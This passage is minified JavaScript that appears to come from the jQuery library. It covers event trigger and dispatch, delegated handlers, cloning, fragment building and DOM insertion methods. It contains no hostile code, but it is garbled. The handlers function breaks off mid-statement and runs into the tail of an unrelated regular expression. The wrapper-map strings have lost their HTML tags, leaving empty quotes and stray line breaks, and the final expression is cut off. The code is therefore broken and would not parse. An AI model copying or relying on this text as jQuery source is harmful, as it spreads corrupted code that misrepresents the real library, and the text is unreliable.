b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,ba=/<([\w:]+)/,ca=/<|&#?\w+;/,da=/<(?:script|style|link)/i,ea=/checked\s*(?:[^=]|=\s*.checked.)/i,fa=/^$|\/(?:java|ecma)script/i,ga=/^true\/(.*)/,ha=/^\s*\s*$/g,ia={option:[1,""],thead:[1,"","
    "],col:[2,"","
    "],tr:[2,"","
    "],td:[3,"","
    "],_default:[0,"",""]};ia.optgroup=ia.option,ia.tbody=ia.tfoot=ia.colgroup=ia.caption=ia.thead,ia.th=ia.td;function ja(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function ka(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function la(a){var b=ga.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function ma(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function na(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function oa(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pa(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=oa(h),f=oa(a),d=0,e=f.length;e>d;d++)pa(f[d],g[d]);if(b)if(c)for(f=f||oa(a),g=g||oa(h),d=0,e=f.length;e>d;d++)na(f[d],g[d]);else na(a,h);return g=oa(h,"script"),g.length>0&&ma(g,!i&&oa(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(ca.test(e)){f=f||k.appendChild(b.createElement("div")),g=(ba.exec(e)||["",""])[1].toLowerCase(),h=ia[g]||ia._default,f.innerHTML=h[1]+e.replace(aa,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=oa(k.appendChild(e),"script"),i&&ma(f),c)){j=0;while(e=f[j++])fa.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(oa(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&ma(oa(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(oa(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!da.test(a)&&!ia[(ba.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(aa,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(oa(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(oa(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&ea.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(oa(c,"script"),ka),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,oa(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,la),j=0;g>j;j++)h=f[j],fa.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(ha,"")))}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qa,ra={};function sa(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function ta(a){var b=l,c=ra[a];return c||(c=sa(a,b),"none"!==c&&c||(qa=(qa||n("